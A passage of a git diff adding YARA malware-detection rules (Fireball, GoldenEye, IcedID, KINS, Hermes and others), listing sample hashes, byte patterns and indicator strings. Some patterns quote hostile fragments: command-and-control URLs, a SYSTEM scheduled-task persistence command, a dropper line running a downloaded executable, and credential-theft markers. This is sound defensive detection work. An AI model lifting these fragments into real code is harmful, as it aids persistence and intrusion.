+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      hash1 = "f964a4b95d5c518fd56f06044af39a146d84b801d9472e022de4c929a5b8fdcc"
+      id = "29395239-66d8-5340-b884-9b8f036cc27f"
+   strings:
+      $s1 = "cmd.exe /c MD " fullword ascii
+      $s2 = "rundll32.exe \"%s\",%s" fullword wide
+      $s3 = "http://d12zpbetgs1pco.cloudfront.net/Weatherapi/shell" fullword wide
+      $s4 = "C:\\v3\\exe\\de_svr_inst.pdb" fullword ascii
+      $s5 = "Internet Connect Failed!" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 3000KB and 4 of them )
+}
+
+rule Fireball_lancer {
+   meta:
+      description = "Detects Fireball malware - file lancer.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      hash1 = "7d68386554e514f38f98f24e8056c11c0a227602ed179d54ed08f2251dc9ea93"
+      id = "2209bcb4-74a6-5c39-962c-ccd4ce62619e"
+   strings:
+      $x1 = "\\instlsp\\Release\\Lancer.pdb" ascii
+      $x2 = "lanceruse.dat" fullword wide
+
+      $s1 = "Lancer.dll" fullword ascii
+      $s2 = "RunDll32.exe \"" fullword wide
+      $s3 = "Micr.dll" fullword wide
+      $s4 = "AG64.dll" fullword wide
+      $s5 = "\",Start" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and ( 1 of ($x*) or 3 of ($s*) ) ) or ( 6 of them )
+}
+
+rule QQBrowser {
+   meta:
+      description = "Not malware but suspicious browser - file QQBrowser.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      score = 50
+      hash1 = "adcf6b8aa633286cd3a2ce7c79befab207802dec0e705ed3c74c043dabfc604c"
+      id = "457507c5-0411-5d72-891b-ae3e428ea2d6"
+   strings:
+      $s1 = "TerminateProcessWithoutDump" fullword ascii
+      $s2 = ".Downloader.dll" fullword wide
+      $s3 = "Software\\Chromium\\BrowserCrashDumpAttempts" fullword wide
+      $s4 = "QQBrowser_Broker.exe" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule chrome_elf {
+   meta:
+      description = "Detects Fireball malware - file chrome_elf.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      hash1 = "e4d4f6fbfbbbf3904ca45d296dc565138a17484c54aebbb00ba9d57f80dfe7e5"
+      id = "8680d5b5-e26f-5a3f-aeab-b965afe91027"
+   strings:
+      $x2 = "schtasks /Create /SC HOURLY /MO %d /ST 00:%02d:00 /TN \"%s\" /TR \"%s\" /RU \"SYSTEM\"" fullword wide
+      $s6 = "aHR0cDovL2R2Mm0xdXVtbnNndHUuY2xvdWRmcm9udC5uZXQvdjQvZ3RnLyVzP2FjdGlvbj12aXNpdC5jaGVsZi5pbnN0YWxs" fullword ascii /* base64 encoded string 'http://dv2m1uumnsgtu.cloudfront.net/v4/gtg/%s?action=visit.chelf.install' */
+      $s7 = "QueryInterface call failed for IExecAction: %x" fullword ascii
+      $s10 = "%s %s,Rundll32_Do %s" fullword wide
+      $s13 = "Failed to create an instance of ITaskService: %x" fullword ascii
+      $s16 = "Rundll32_Do" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 4 of them )
+}
+
+rule Fireball_regkey {
+   meta:
+      description = "Detects Fireball malware - file regkey.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      modified = "2022-12-21"
+      hash1 = "fff2818caa9040486a634896f329b8aebaec9121bdf9982841f0646763a1686b"
+      id = "6e22bb93-8c8b-510f-a9e4-6e57c392c2ae"
+   strings:
+      $s1 = "\\WinMain\\Release\\WinMain.pdb" ascii
+      $s2 = "ScreenShot" fullword wide
+      $s3 = "WINMAIN" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule Fireball_winsap {
+   meta:
+      description = "Detects Fireball malware - file winsap.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      hash1 = "c7244d139ef9ea431a5b9cc6a2176a6a9908710892c74e215431b99cd5228359"
+      id = "e68e7738-f325-5b73-9e61-4e2413b7b7be"
+   strings:
+      $s1 = "aHR0cDovL2" ascii /* base64 encoded string 'http://d3i1asoswufp5k.cloudfront.net/v4/gtg/%s?action=visit.winsap.work&update3=version,%s' */
+      $s2 = "%s\\svchost.exe -k %s" fullword wide
+      $s3 = "\\SETUP.dll" wide
+      $s4 = "WinSAP.dll" fullword ascii
+      $s5 = "Error %u in WinHttpQueryDataAvailable." fullword ascii
+      $s6 = "UPDATE OVERWRITE" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 4 of them )
+}
+
+rule Fireball_archer {
+   meta:
+      description = "Detects Fireball malware - file archer.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      modified = "2022-12-21"
+      hash1 = "9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022"
+      id = "16bb95c1-af69-5688-8999-f097d02d2ffc"
+   strings:
+      $x1 = "\\archer_lyl\\Release\\Archer_Input.pdb" ascii
+
+      $s1 = "Archer_Input.dll" fullword ascii
+      $s2 = "InstallArcherSvc" fullword ascii
+      $s3 = "%s_%08X" fullword wide
+      $s4 = "d\\\\.\\PhysicalDrive%d" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and ( $x1 or 3 of them )
+}
+
+rule clearlog {
+   meta:
+      description = "Detects Fireball malware - file clearlog.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      hash1 = "14093ce6d0fe8ab60963771f48937c669103842a0400b8d97f829b33c420f7e3"
+      id = "3eb58a7a-b04d-52c2-8c3c-c149da8d4aa8"
+   strings:
+      $x1 = "\\ClearLog\\Release\\logC.pdb" ascii
+
+      $s1 = "C:\\Windows\\System32\\cmd.exe /c \"\"" fullword wide
+      $s2 = "logC.dll" fullword ascii
+      $s3 = "hhhhh.exe" fullword wide
+      $s4 = "ttttt.exe" fullword wide
+      $s5 = "Logger Name:" fullword ascii
+      $s6 = "cle.log.1" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and $x1 or 2 of them )
+}
+
+rule Fireball_gubed {
+   meta:
+      description = "Detects Fireball malware - file gubed.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4pTkGQ"
+      date = "2017-06-02"
+      modified = "2022-12-21"
+      hash1 = "e3f69a1fb6fcaf9fd93386b6ba1d86731cd9e5648f7cff5242763188129cd158"
+      id = "cba2913f-4d9a-5925-ad9a-f5815a635291"
+   strings:
+      $x1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MRT.exe" fullword wide
+      $x2 = "tIphlpapi.dll" fullword wide
+      $x3 = "http://%s/provide?clients=%s&reqs=visit.startload" fullword wide
+      $x4 = "\\Gubed\\Release\\Gubed.pdb" ascii
+      $x5 = "d2hrpnfyb3wv3k.cloudfront.net" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them )
+}
diff --git a/yara-Neo23x0/crime_floxif_flystudio.yar b/yara-Neo23x0/crime_floxif_flystudio.yar
new file mode 100644
index 0000000..63dac55
--- /dev/null
+++ b/yara-Neo23x0/crime_floxif_flystudio.yar
@@ -0,0 +1,38 @@
+import "pe"
+
+rule MAL_Floxif_Generic {
+   meta:
+      description = "Detects Floxif Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-11"
+      score = 80
+      hash1 = "de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085"
+      id = "5ddd6a6c-b02a-518b-bbe3-8f528b3d7eae"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+         pe.imphash() == "2f4ddcfebbcad3bacadc879747151f6f" or
+         pe.exports("FloodFix") or pe.exports("FloodFix2")
+      )
+}
+
+
+rule MAL_CN_FlyStudio_May18_1 {
+   meta:
+      description = "Detects malware / hacktool detected in May 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-11"
+      hash1 = "b85147366890598518d4f277d44506eef871fd7fc6050d8f8e68889cae066d9e"
+      id = "b78b9ea0-5eef-5922-b5d7-d3c5ddce7fad"
+   strings:
+      $s1 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
+      $s2 = "www.cfyhack.cn" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 5000KB and (
+         pe.imphash() == "65ae5cf17140aeaf91e3e9911da0ee3e" or
+         1 of them
+      )
+}
diff --git a/yara-Neo23x0/crime_gamaredon.yar b/yara-Neo23x0/crime_gamaredon.yar
new file mode 100644
index 0000000..308424d
--- /dev/null
+++ b/yara-Neo23x0/crime_gamaredon.yar
@@ -0,0 +1,16 @@
+rule MAL_SUSP_Gamaredon_GetImportByHash {
+    meta:
+        description = "Detects Gamaredon APIHashing"
+        author = "Frank Boldewin (@r3c0nst)"
+        date = "2021-05-12"
+        reference  = "https://twitter.com/r3c0nst/status/1392405576131436546?s=20"
+        hash1 = "2d03a301bae0e95a355acd464afc77fde88dd00232aad6c8580b365f97f67a79"
+        hash2 = "43d6e56515cca476f7279c3f276bf848da4bc13fd15fad9663b9e044970253e8"
+        hash3 = "5c09f6ebb7243994ddc466058d5dc9920a5fced5e843200b1f057bda087b8ba6"
+        id = "8f28273e-e8ca-52cb-8dbc-a235598b1975"
+    strings:
+        $ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 }
+        $djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 } /* https://theartincode.stanis.me/008-djb2/ */
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_goldeneye.yar b/yara-Neo23x0/crime_goldeneye.yar
new file mode 100644
index 0000000..cc4ca54
--- /dev/null
+++ b/yara-Neo23x0/crime_goldeneye.yar
@@ -0,0 +1,40 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-12-06
+   Identifier: GoldenEye Ransomware
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule GoldenEye_Ransomware_XLS {
+   meta:
+      description = "GoldenEye XLS with Macro - file Schneider-Bewerbung.xls"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/jp2SkT"
+      date = "2016-12-06"
+      hash1 = "2320d4232ee80cc90bacd768ba52374a21d0773c39895b88cdcaa7782e16c441"
+      id = "6eafcc35-56ef-534f-884a-0bb47c27c274"
+   strings:
+      $x1 = "fso.GetTempName();tmp_path = tmp_path.replace('.tmp', '.exe')" fullword ascii
+      $x2 = "var shell = new ActiveXObject('WScript.Shell');shell.run(t'" fullword ascii
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 4000KB and 1 of them )
+}
+
+rule GoldenEyeRansomware_Dropper_MalformedZoomit {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/jp2SkT"
+      date = "2016-12-06"
+      hash1 = "b5ef16922e2c76b09edd71471dd837e89811c5e658406a8495c1364d0d9dc690"
+      id = "6ebf2d13-7d58-5a1b-a836-66d533f408e8"
+   strings:
+      $s1 = "ZoomIt - Sysinternals: www.sysinternals.com" fullword ascii
+      $n1 = "Mark Russinovich" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 800KB and $s1 and not $n1 )
+}
diff --git a/yara-Neo23x0/crime_gozi_crypter.yar b/yara-Neo23x0/crime_gozi_crypter.yar
new file mode 100644
index 0000000..2978d7d
--- /dev/null
+++ b/yara-Neo23x0/crime_gozi_crypter.yar
@@ -0,0 +1,13 @@
+
+rule MAL_GoziCrypter_Dec20_1 {
+    meta:
+      description = "Detects crypter associated with several Gozi samples"
+      author = "James Quinn"
+      reference = "YaraExchange"
+      score = 70
+      id = "d4a48612-fa6f-5f03-8d27-5f6b79b2a070"
+    strings:
+      $s1 = { 89 05 ?? ?? ?? ?? 81 2d ?? ?? ?? ?? 01 00 00 00 81 3D ?? ?? ?? ?? 00 00 00 00 }
+    condition:
+      uint16(0) == 0x5A4D and any of them and filesize < 1000KB
+}
diff --git a/yara-Neo23x0/crime_guloader.yar b/yara-Neo23x0/crime_guloader.yar
new file mode 100644
index 0000000..793ebbd
--- /dev/null
+++ b/yara-Neo23x0/crime_guloader.yar
@@ -0,0 +1,15 @@
+
+rule MAL_crime_win32_loader_guloader_1_experimental {
+   meta:
+      description = "Detects injected GuLoader shellcode bin"
+      author = "@VK_Intel"
+      reference = "https://twitter.com/VK_Intel/status/1257206565146370050"
+      tlp = "white"
+      date = "2020-05-04"
+      id = "c37882c6-15dc-54dc-8c10-7e91ea0fc6bd"
+   strings:
+      $djib2_hash = { f8 8b ?? ?? ?? ba 05 15 00 00 89 d3 39 c0 c1 e2 05 81 ff f6 62 f1 87 01 da 0f ?? ?? d9 d0 01 da 83 c6 02 66 ?? ?? ?? 75 ?? c2 04 00}
+      $nt_inject_loader = {8b ?? ?? ba 44 1a 0e 9e 39 d2 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? f8 ba d0 e0 8b 30 e8 ?? ?? ?? ?? d9 d0 89 ?? ?? d9 d0 81 fb 20 af 00 00 8b ?? ?? 39 c9 ba 92 a7 f3 95 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? 39 d2 ba d0 20 2e d0 e8 ?? ?? ?? ?? 89 ?? ?? f8 8b ?? ?? ba 6a 19 1f 23 d9 d0 e8 ?? ?? ?? ?? d9 d0 89 ?? ?? 81 fb e4 8c 00 00 39 c9 8b ?? ?? ba 19 50 9c c2 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 d2 8b ?? ?? fc ba 3d 13 8e 8b e8 ?? ?? ?? ?? d9 d0 89 ?? ?? f8 8b ?? ?? ba 30 3d 7b 2c e8 ?? ?? ?? ??}
+   condition:
+      uint16(0) == 0x5a4d and all of them 
+}
diff --git a/yara-Neo23x0/crime_h2miner_kinsing.yar b/yara-Neo23x0/crime_h2miner_kinsing.yar
new file mode 100644
index 0000000..27b4731
--- /dev/null
+++ b/yara-Neo23x0/crime_h2miner_kinsing.yar
@@ -0,0 +1,20 @@
+rule crime_h2miner_kinsing
+{
+    meta:
+        description = "Rule to find Kinsing malware"
+        author = "Tony Lambert, Red Canary"
+        date = "2020-06-09"
+        id = "1cabca0d-7134-517e-b82e-f2b20b4d1c34"
+    strings:
+        $s1 = "-iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT"
+        $s2 = "libpcap"
+        $s3 = "main.backconnect"
+        $s4 = "main.masscan"
+        $s5 = "main.checkHealth"
+        $s6 = "main.redisBrute"
+        $s7 = "ActiveC2CUrl"
+        $s8 = "main.RC4"
+        $s9 = "main.runTask"
+    condition:
+        (uint32(0) == 0x464C457F) and filesize > 1MB and all of them 
+}
diff --git a/yara-Neo23x0/crime_hermes_ransom.yar b/yara-Neo23x0/crime_hermes_ransom.yar
new file mode 100644
index 0000000..cff44d8
--- /dev/null
+++ b/yara-Neo23x0/crime_hermes_ransom.yar
@@ -0,0 +1,27 @@
+rule Hermes2_1 {
+   meta:
+      description = "Detects Hermes Ransomware as used in BAE report on FEIB"
+      date = "2017/10/11"
+      author = "BAE"
+      reference = "https://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html"
+      hash = "b27881f59c8d8cc529fa80a58709db36"
+      id = "13397a43-04e1-5cc1-9260-9895736013f3"
+   strings:
+      //in both version 2.1 and sample in Feb
+      $s1 = "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\"
+      $s2 = "0419"
+      $s3 = "0422"
+      $s4 = "0423"
+      //in version 2.1 only
+      $S1 = "HERMES"
+      $S2 = "vssadminn"
+      $S3 = "finish work"
+      $S4 = "testlib.dll"
+      $S5 = "shadowstorageiet"
+      //maybe unique in the file
+      $u1 = "ALKnvfoi4tbmiom3t40iomfr0i3t4jmvri3tb4mvi3btv3rgt4t777"
+      $u2 = "HERMES 2.1 TEST BUILD, press ok"
+      $u3 = "hnKwtMcOadHwnXutKHqPvpgfysFXfAFTcaDHNdCnktA" //RSA Key part
+   condition:
+      uint16(0) == 0x5a4d and all of ($s*) and 3 of ($S*) and 1 of ($u*)
+}
diff --git a/yara-Neo23x0/crime_icedid.yar b/yara-Neo23x0/crime_icedid.yar
new file mode 100644
index 0000000..9e78fef
--- /dev/null
+++ b/yara-Neo23x0/crime_icedid.yar
@@ -0,0 +1,94 @@
+rule MAL_IcedID_Fake_GZIP_Bokbot_202104 {
+   meta:
+      author = "Thomas Barabosch, Telekom Security"
+      date = "2021-04-20"
+      description = "Detects fake gzip provided by CC"
+      reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
+      id = "538d84d8-aff2-571c-ba60-102f18262434"
+   strings:
+      $gzip = {1f 8b 08 08 00 00 00 00 00 00 75 70 64 61 74 65}
+   condition:
+      $gzip at 0
+}
+
+rule MAL_IcedID_GZIP_LDR_202104 {
+   meta:
+      author = "Thomas Barabosch, Telekom Security"
+      date = "2021-04-12"
+      modified = "2023-01-27"
+      description = "2021 initial Bokbot / Icedid loader for fake GZIP payloads"
+      reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
+      id = "fbf578e7-c318-5f67-82df-f93232362a23"
+   strings:
+      $internal_name = "loader_dll_64.dll" fullword
+
+      $string0 = "_gat=" wide
+      $string1 = "_ga=" wide
+      $string2 = "_gid=" wide
+      $string4 = "_io=" wide
+      $string5 = "GetAdaptersInfo" fullword
+      $string6 = "WINHTTP.dll" fullword
+      $string7 = "DllRegisterServer" fullword
+      $string8 = "PluginInit" fullword
+      $string9 = "POST" wide fullword
+      $string10 = "aws.amazon.com" wide fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 5000KB and 
+      ( $internal_name or all of ($s*) )
+      or all of them
+}
+
+rule MAL_IcedId_Core_LDR_202104 {
+   meta:
+      author = "Thomas Barabosch, Telekom Security"
+      date = "2021-04-13"
+      description = "2021 loader for Bokbot / Icedid core (license.dat)"
+      reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
+      id = "f096e18d-3a31-5236-b3c3-0df39b408d9a"
+   strings:
+      $internal_name = "sadl_64.dll" fullword
+
+      $string0 = "GetCommandLineA" fullword
+      $string1 = "LoadLibraryA" fullword
+      $string2 = "ProgramData" fullword
+      $string3 = "SHLWAPI.dll" fullword
+      $string4 = "SHGetFolderPathA" fullword
+      $string5 = "DllRegisterServer" fullword
+      $string6 = "update" fullword
+      $string7 = "SHELL32.dll" fullword
+      $string8 = "CreateThread" fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 5000KB and 
+      ( $internal_name and 5 of them )
+      or all of them
+}
+
+rule MAL_IceId_Core_202104 {
+   meta:
+      author = "Thomas Barabosch, Telekom Security"
+      date = "2021-04-12"
+      description = "2021 Bokbot / Icedid core"
+      reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
+      id = "526a73da-415f-58fe-bb5f-4c3df6b2e647"
+   strings:
+      $internal_name = "fixed_loader64.dll" fullword
+
+      $string0 = "mail_vault" wide fullword
+      $string1 = "ie_reg" wide fullword
+      $string2 = "outlook" wide fullword
+      $string3 = "user_num" wide fullword
+      $string4 = "cred" wide fullword
+      $string5 = "Authorization: Basic" fullword
+      $string6 = "VaultOpenVault" fullword
+      $string7 = "sqlite3_free" fullword
+      $string8 = "cookie.tar" fullword
+      $string9 = "DllRegisterServer" fullword
+      $string10 = "PT0S" wide
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 5000KB and 
+      ( $internal_name or all of ($s*) )
+      or all of them
+}
diff --git a/yara-Neo23x0/crime_kasper_oct17.yar b/yara-Neo23x0/crime_kasper_oct17.yar
new file mode 100644
index 0000000..af8abf7
--- /dev/null
+++ b/yara-Neo23x0/crime_kasper_oct17.yar
@@ -0,0 +1,30 @@
+import "pe"
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-24
+   Identifier: Kasper
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule KasperMalware_Oct17_1 {
+   meta:
+      description = "Detects Kasper Backdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-10-24"
+      hash1 = "758bdaf26a0bd309a5458cb4569fe1c789cf5db087880d6d1676dec051c3a28d"
+      id = "7201d8ee-50ee-5a5c-a5b8-ee36c78b0d6e"
+   strings:
+      $x1 = "\\Release\\kasper.pdb" ascii
+      $x2 = "C:\\D@oc@um@en@ts a@nd Set@tings\\Al@l Users" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 7000KB and (
+         pe.imphash() == "2bceb64cf37acd34bc33b38f2cddfb61" or
+         1 of them
+      )
+}
diff --git a/yara-Neo23x0/crime_kins_dropper.yar b/yara-Neo23x0/crime_kins_dropper.yar
new file mode 100644
index 0000000..848f1fa
--- /dev/null
+++ b/yara-Neo23x0/crime_kins_dropper.yar
@@ -0,0 +1,48 @@
+rule KINS_dropper {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match protocol, process injects and windows exploit present in KINS dropper"
+		reference = "http://goo.gl/arPhm3"
+		id = "17e12685-aaad-5d83-949c-43d5aef1ef0d"
+	strings:
+		// Network protocol
+		$n1 = "tid=%d&ta=%s-%x" fullword
+		$n2 = "fid=%d" fullword
+		$n3 = "%[^.].%[^(](%[^)])" fullword
+		// Injects
+		$i0 = "%s [%s %d] 77 %s"
+		$i01 = "Global\\%s%x"
+		$i1 = "Inject::InjectProcessByName()"
+		$i2 = "Inject::CopyImageToProcess()"
+		$i3 = "Inject::InjectProcess()"
+		$i4 = "Inject::InjectImageToProcess()"
+		$i5 = "Drop::InjectStartThread()"
+		// UAC bypass
+		$uac1 = "ExploitMS10_092"
+		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
+		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
+	condition:
+		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
+}
+
+rule KINS_DLL_zeus {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match default bot in KINS leaked dropper, Zeus"
+		reference = "http://goo.gl/arPhm3"
+		id = "968ada06-c8a1-5053-95de-10aa484231cb"
+	strings:
+		// Network protocol
+		$n1 = "%BOTID%" fullword
+		$n2 = "%opensocks%" fullword
+		$n3 = "%openvnc%" fullword
+		$n4 = /Global\\(s|v)_ev/ fullword
+		// Crypted strings
+		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
+		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
+		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
+		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
+		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
+	condition:
+		all of ($n*) and 1 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_kr_malware.yar b/yara-Neo23x0/crime_kr_malware.yar
new file mode 100644
index 0000000..927b3db
--- /dev/null
+++ b/yara-Neo23x0/crime_kr_malware.yar
@@ -0,0 +1,35 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-23
+   Identifier: South Korea Target
+   Reference: https://twitter.com/eyalsela/status/900250203097354240
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule KR_Target_Malware_Aug17 {
+   meta:
+      description = "Detects malware that targeted South Korea in Aug 2017 - file MRDqsbuEqGxrgqtbXU.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/eyalsela/status/900250203097354240"
+      date = "2017-08-23"
+      hash1 = "82cada01643a42c8cd9600b8c33f3760d15e5eb6fabec2d531cf13cece095c78"
+      id = "2a6a7921-953a-502c-9702-b27325b2c3b8"
+   strings:
+      $x1 = { 53 00 75 00 63 00 63 00 65 00 00 2F 53 00 6F 00
+               6D 00 65 00 74 00 68 00 69 00 6E 00 67 00 20 00
+               77 00 65 00 6E 00 74 00 20 00 77 00 72 00 6F 00
+               6E 00 67 00 }
+
+      $x2 = "lnVMODvjSfOQQnfiuFogghlL" fullword ascii
+      $x3 = "E X I T  +R U N A S  /a P P d A T A " fullword ascii
+      $x4 = "uSEsHELLeXECUTE gETeNTRYaSSEMBLY GET" fullword ascii
+      $x5 = "ZahUKBXz" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 800KB and
+        1 of them
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_kraken_bot1.yar b/yara-Neo23x0/crime_kraken_bot1.yar
new file mode 100644
index 0000000..6eecb45
--- /dev/null
+++ b/yara-Neo23x0/crime_kraken_bot1.yar
@@ -0,0 +1,27 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-07
+	Identifier: Kraken_Malware
+*/
+
+rule Kraken_Bot_Sample {
+	meta:
+		description = "Kraken Bot Sample - file inf.bin"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html"
+		date = "2015-05-07"
+		hash = "798e9f43fc199269a3ec68980eb4d91eb195436d"
+		score = 90
+		id = "508bb581-9dad-5201-af3d-7da17d905dc9"
+	strings:
+		$s2 = "%s=?getname" fullword ascii
+		$s4 = "&COMPUTER=^" fullword ascii
+		$s5 = "xJWFwcGRhdGElAA=" fullword ascii /* base64 encoded string '%appdata%' */
+		$s8 = "JVdJTkRJUi" fullword ascii /* base64 encoded string '%WINDIR' */
+		$s20 = "btcplug" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
diff --git a/yara-Neo23x0/crime_kriskynote.yar b/yara-Neo23x0/crime_kriskynote.yar
new file mode 100644
index 0000000..1ecab53
--- /dev/null
+++ b/yara-Neo23x0/crime_kriskynote.yar
@@ -0,0 +1,64 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-03-03
+   Identifier: Kriskynote 03 March
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Kriskynote_Mar17_1 {
+   meta:
+      description = "Detects Kriskynote Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-03"
+      hash1 = "a19c4b615aa54207604b181873e614d84126b639fee2cce3ca9d5bd863f6f577"
+      hash2 = "62b41db0bf63fa45a2c2b0f5df8c2209a5d96bf2bddf82749595c66d30b7ec61"
+      id = "b1e5df0c-0112-5fee-85e9-cb0ca31f5234"
+   strings:
+      $s1 = "gzwrite64" fullword ascii
+
+      $opa1 = { e8 6b fd ff ff 83 f8 ff 74 65 83 7b 28 00 74 42 } /* Opcode */
+
+      $opb1 = { 8a 04 08 8b 8e a4 16 00 00 88 44 24 0c 66 c7 04 } /* Opcode */
+      $opb2 = { 89 4e 6c 89 46 74 e9 ad fc ff ff 8b 46 68 85 c0 } /* Opcode */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and $s1 and ($opa1 or all of ($opb*))
+}
+
+rule Kriskynote_Mar17_2 {
+   meta:
+      description = "Detects Kriskynote Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
